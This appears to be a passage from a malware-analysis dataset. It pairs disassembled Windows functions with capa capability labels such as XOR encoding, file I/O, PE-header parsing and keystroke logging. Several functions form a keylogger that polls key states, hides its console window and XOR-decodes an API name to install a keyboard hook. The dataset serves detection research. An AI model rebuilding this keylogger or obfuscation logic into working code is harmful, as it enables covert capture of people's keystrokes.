joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402325a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, pe_nt_image_headers64
call fcn.140234360
sub rsp, rax
mov rax, qword [0x1402fd960]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov r13, qword [rcx]
xor r15d, r15d
mov rdi, qword [rsp + 0x180]
mov rbp, r9
mov rbx, qword [rsp + 0x170]
mov r12, rdx
mov rax, qword [rsp + 0x190]
mov r14d, r15d
mov qword [rsp + 0x28], r13
sub r13, rdi
mov qword [rsp + 0x20], r8
cmp rdx, rdi
jb 0x140232621
cmp rdi, 0x40
ja 0x140232621
test rdi, rdi
jne 0x14023264e
cmp qword [rsp + 0x188], r15
jne 0x140232826
xor eax, eax
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.140233900
mov rbx, qword [rsp + 0x158]
add rsp, 0x110
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp qword [rsp + 0x178], 1
mov qword [rcx], r13
jne 0x14023267b
test rbp, rbp
je 0x140232668
lea rax, [r8 + r13]
mov qword [r9], rax
test rbx, rbx
je 0x140232826
mov dword [rbx], r15d
mov eax, 1
jmp 0x140232623
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov r8, rdi
mov rcx, rax
call fcn.1401397a0
test eax, eax
je 0x140232621
test rbp, rbp
je 0x140232621
test rbx, rbx
je 0x140232621
mov r8d, 0x105
lea rdx, str.ssl_record_tls_pad.c
mov rcx, rdi
call fcn.1400dc8b0
mov qword [rsp + 0x30], rax
mov rsi, rax
mov qword [rbp], rax
test rax, rax
je 0x140232621
lea rcx, [rsp + 0x80]
mov dword [rbx], 1
neg rcx
lea rbp, [rsp + 0x80]
and ecx, 0x3f
add rbp, rcx
lea rcx, [rdi + 0x100]
cmp r12, rcx
jbe 0x1402326fe
mov r14, r12
sub r14, rdi
sub r14, 0x100
mov r8, rdi
xor edx, edx
mov rcx, rbp
mov rbx, r15
call sub.VCRUNTIME140.dll_memset
mov r9, r15
cmp r14, r12
jae 0x1402327b0
mov r10, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x20]
lea r11, [r10 + rsi]
nop dword [rax + rax]
lea rcx, [r14 + rsi]
mov rax, r14
xor rax, r13
mov rdx, rcx
sub rdx, r11
xor rdx, r10
lea r8, [rax - 1]
not rax
shr rax, 0x3f
shr r8, 0x3f
and r8, rax
mov rax, r14
xor rax, r10
neg r8
or rdx, rax
or r15, r8
xor rdx, r14
and r8, r9
shr rdx, 0x3f
or rbx, r8
neg rdx
inc r14
and r15, rdx
movzx eax, r15b
and al, byte [rcx]
or byte [r9 + rbp], al
inc r9
mov rcx, r9
mov rax, rdi
sub rcx, rdi
xor rax, r9
xor rcx, rdi
or rcx, rax
xor rcx, r9
shr rcx, 0x3f
neg rcx
and r9, rcx
cmp r14, r12
jb 0x140232730
mov rsi, qword [rsp + 0x30]
test rdi, rdi
je 0x140232826
movzx r11d, byte [rsp + 0x188]
lea r10, [rsp + 0x40]
mov r9d, r11d
sub r10, rsi
not r9d
mov r8, rdi
nop
mov rax, rbx
lea rsi, [rsi + 1]
xor rax, 0x20
movzx eax, byte [rax + rbp]
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], r9d
mov ecx, dword [rsp + 0x20]
and cl, byte [r10 + rsi - 1]
mov eax, dword [rsp + 0x28]
and al, byte [rbx + rbp]
inc rbx
or al, cl
mov rdx, rbx
sub rdx, rdi
mov byte [rsi - 1], al
xor rdx, rdi
mov rcx, rdi
xor rcx, rbx
or rdx, rcx
xor rdx, rbx
shr rdx, 0x3f
neg rdx
and rbx, rdx
sub r8, 1
jne 0x1402327d0
mov eax, 1
jmp 0x140232623
Function at 0x140232920
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push r12
push r13
push r14
mov eax, 0x50
call fcn.140234360
sub rsp, rax
mov rbp, qword [rsp + 0xa8]
lea r11, [rax - 0x51]
mov r14, qword [rsp + 0xb0]
xor r10d, r10d
cmp rbp, 1
mov eax, r10d
mov r12, r9
mov r13, r8
mov r9, qword [rcx]
setne al
add rax, r14
mov rsi, rcx
cmp rax, r9
jbe 0x14023297e
xor eax, eax
add rsp, 0x50
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret
mov qword [rsp + 0x80], rbx
cmp rbp, 1
je 0x140232a93
lea r11, [r8 - 1]
add r11, r9
movzx ebx, byte [r11]
cmp dword [rsp + 0xb8], r10d
je 0x1402329ca
mov rax, qword [rsp + 0xa0]
sub r9, rbx
sub r9, r14
dec r9
mov qword [rcx], r9
mov qword [r12], r10
mov dword [rax], r10d
mov eax, 1
jmp 0x140232aca
lea rcx, [rbx + rax]
mov qword [rsp + 0x98], r15
mov r15d, 0x100
mov r8, r9
sub r8, rcx
mov rax, r9
xor r8, rcx
xor rax, rcx
or r8, rax
xor r8, r9
shr r8, 0x3f
dec r8
cmp r9, r15
cmovb r15, r9
test r15, r15
je 0x140232a6d
mov qword [rsp + 0x90], rdi
mov rdi, rbx
shr rdi, 0x3f
nop dword [rax]
nop word [rax + rax]
mov rax, r10
lea r11, [r11 - 1]
shr rax, 0x3f
mov rcx, rbx
sub rcx, r10
inc r10
shr rcx, 0x3f
xor cl, al
xor al, dil
or cl, al
xor cl, dil
dec cl
movzx edx, cl
movzx ecx, byte [r11 + 1]
xor rcx, rbx
and rdx, rcx
not rdx
and r8, rdx
cmp r10, r15
jb 0x140232a20
mov rdx, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
mov r15, qword [rsp + 0x98]
lea rax, [rbx + 1]
not r8
movzx r11d, r8b
dec r11
shr r11, 0x3f
neg r11
and rax, r11
sub r9, rax
mov qword [rsi], r9
mov rax, qword [rsp + 0xc0]
mov r9, r12
mov qword [rsp + 0x40], rax
mov r8, r13
mov rax, qword [rsp + 0xa0]
mov rcx, rsi
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rax
call fcn.1402325a0
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret
Function at 0x140233010
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
mov eax, 0x68
call fcn.140234360
sub rsp, rax
mov rax, qword [0x1402fd960]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov eax, dword [rcx + 0x3c]
mov rdi, r9
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test eax, eax
je 0x140233154
movups xmm0, xmmword [rcx + 0x10]
mov r15, qword [rcx + 0x20]
lea rbx, [rcx + 0x10]
dec eax
mov dword [rsp + 0x28], 1
mov dword [rcx + 0x3c], eax
xor r9d, r9d
movups xmmword [rsp + 0x48], xmm0
and byte [rsp + 0x54], 0x7f
xor r8d, r8d
psrldq xmm0, 8
xor edx, edx
movd eax, xmm0
mov rcx, r15
mov dword [rsp + 0x30], edi
and al, 0x7f
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call fcn.140136cc0
test eax, eax
je 0x140233154
mov eax, dword [rsp + 0x30]
lea r8, [rsp + 0x30]
mov r9, r14
mov dword [rsp + 0x20], eax
mov rdx, rbp
mov rcx, r15
call fcn.140137a40
test eax, eax
je 0x140233154
mov r9, rdi
lea rdx, [rsp + 0x38]
mov r8, rbp
mov rcx, rsi
call fcn.140233670
test eax, eax
je 0x140233154
lea rax, [rbx + 0xf]
xor r8d, r8d
lea rcx, [rsp + 0x38]
cmp rcx, rax
ja 0x140233129
lea rax, [rsp + 0x47]
cmp rax, rbx
jb 0x140233129
lea rcx, [rsp + 0x38]
mov eax, r8d
sub rbx, rcx
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x38]
add rdx, rax
inc rax
movzx ecx, byte [rbx + rdx]
xor byte [rdx], cl
cmp rax, 0x10
jl 0x140233110
jmp 0x14023313d
movdqu xmm1, xmmword [rsp + 0x38]
movdqu xmm0, xmmword [rbx]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x38], xmm1
mov rax, qword [rsp + 0x38]
or rax, qword [rsp + 0x40]
je 0x140233170
mov rdx, rdi
mov rcx, rbp
call fcn.140004400
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140233900
add rsp, 0x68
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov dword [rsi + 0x38], r8d
mov eax, edi
jmp 0x140233156
Function at 0x140001b10
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x30], rax
movsx ebx, cl
mov ecx, ebx
call fcn.140001460
test al, al
jne 0x140001ccb
lea eax, [rbx - 0x41]
cmp al, 0x19
ja 0x140001ccb
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x140001bd7
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
je 0x140001bd7
add bl, 0x20
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x20]
call fcn.140002c80
nop
lea rcx, [rsp + 0x20]
call fcn.140002ae0
movzx edx, bl
lea rcx, [rsp + 0x20]
call fcn.140003150
lea rcx, [rsp + 0x28]
call fcn.140003090
test rax, rax
jne 0x140001bd2
mov rax, qword [rsp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x20]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
jmp 0x140001cc1
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x140001c5e
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
jne 0x140001c5e
add bl, 0x20
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x20]
call fcn.140002c80
nop
lea rcx, [rsp + 0x20]
call fcn.140002ae0
movzx edx, bl
lea rcx, [rsp + 0x20]
call fcn.140003150
lea rcx, [rsp + 0x28]
call fcn.140003090
test rax, rax
jne 0x140001c5c
mov rax, qword [rsp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x20]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
jmp 0x140001cc1
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x20]
call fcn.140002c80
nop
lea rcx, [rsp + 0x20]
call fcn.140002ae0
movzx edx, bl
lea rcx, [rsp + 0x20]
call fcn.140003150
lea rcx, [rsp + 0x28]
call fcn.140003090
test rax, rax
jne 0x140001cc1
mov rax, qword [rsp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x20]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rsp + 0x20]
call fcn.1400013a0
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140003860
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rbp
ret
Function at 0x140001d50
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ]
movzx ecx, word [0x1400055b8]
mov rbx, rax
mov word [rsp + 0x38], cx
movzx ecx, byte [0x1400055ba]
movups xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x3a], cl
movsd xmm0, qword [0x1400055b0]
movsd qword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [0x1400056c0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x80], 0x10
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x70]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140001df0
xor r9d, r9d
test rax, rax
je 0x140001e36
xor r10d, r10d
lea r8, [rsp + 0x70]
nop dword [rax]
xor edx, edx
lea r8, [r8 + 1]
cmp r10, 0x1a
cmovne rdx, r10
inc r9d
movzx ecx, byte [rsp + rdx + 0x20]
lea r10, [rdx + 1]
xor byte [r8 - 1], cl
movsxd rcx, r9d
cmp rcx, rax
jb 0x140001e10
lea rcx, str.User32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rdx, [0x140001cf0]
xor r8d, r8d
mov qword [0x140008958], rax
mov ecx, 0xd
call rax
xorps xmm0, xmm0
mov qword [0x140008950], rax
lea rdx, str.UnhookWindowsHookEx
mov rcx, rbx
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rcx, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001ed0
nop
mov rcx, qword [0x140008950]
call rbx
xor r9d, r9d
lea rcx, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001eb0
xor eax, eax
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140003860
add rsp, 0x90
pop rbx
ret
Function at 0x140002280
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400022a8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400022ce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400022d0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002329
test ecx, ecx
jle 0x140002309
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002329
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002329
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140002350
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002372
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140002388
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400023a4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400023a6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400023e2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000247e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000241d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000245e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000247e
cmp rbx, rax
ja 0x140002430
test rbx, rbx
je 0x14000247e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400028e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000290d
xor eax, eax
jmp 0x140002a79
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002947
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002947
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002a79
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140002a6c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000298a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400029b5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002a71
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002a24
sub eax, 1
je 0x140002a24
cmp eax, 2
jne 0x140002a6c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002a71
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002a52
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140002a6c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002a71
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003860
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002fa0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003073
cmp byte [rcx + 0x71], 0
je 0x140003073
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000306f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003034
sub eax, 1
je 0x140003038
cmp eax, 2
jne 0x14000306f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003860
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003066
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000306f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000301c
xor al, al
jmp 0x14000301c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003860
add rsp, 0x60
pop rbx
ret

Function at 0x1400041e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000422a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000422a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000422a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000422a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000422a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000422c
xor al, al
add rsp, 0x28
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x1400dae50]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400dae60]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x1400dae60]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400dae60]
mov dword [rax], 1
mov rax, qword [0x1400daec0]
mov rdx, rax
mov rax, qword [0x1400daeb0]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x140109024], 1
mov rax, qword [0x1400dae60]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400daea0]
mov rdx, rax
mov rax, qword [0x1400dae90]
mov rcx, rax
call sym._initterm
mov rax, qword [0x1400dae60]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x1400dae50]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400dad90]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400dad90]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x1400dae40]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x140109004]
lea rdx, [0x140109008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x1400dadd0]
mov rax, qword [rax]
mov rdx, qword [0x140109010]
mov qword [rax], rdx
mov rcx, qword [0x140109010]
mov rdx, qword [0x140109008]
mov eax, dword [0x140109004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14010901c], eax
mov eax, dword [0x140109020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14010901c]
mov ecx, eax
call sym.exit
mov eax, dword [0x140109024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14010901c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400dae00]
mov dword [rax], 1
mov rax, qword [0x1400dae10]
mov dword [rax], 1
mov rax, qword [0x1400dae20]
mov dword [rax], 1
mov rax, qword [0x1400dadc0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016c0
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 0x16], 0
mov word [rbp - 0x12], 0x500
lea rax, [rbp - 0x16]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
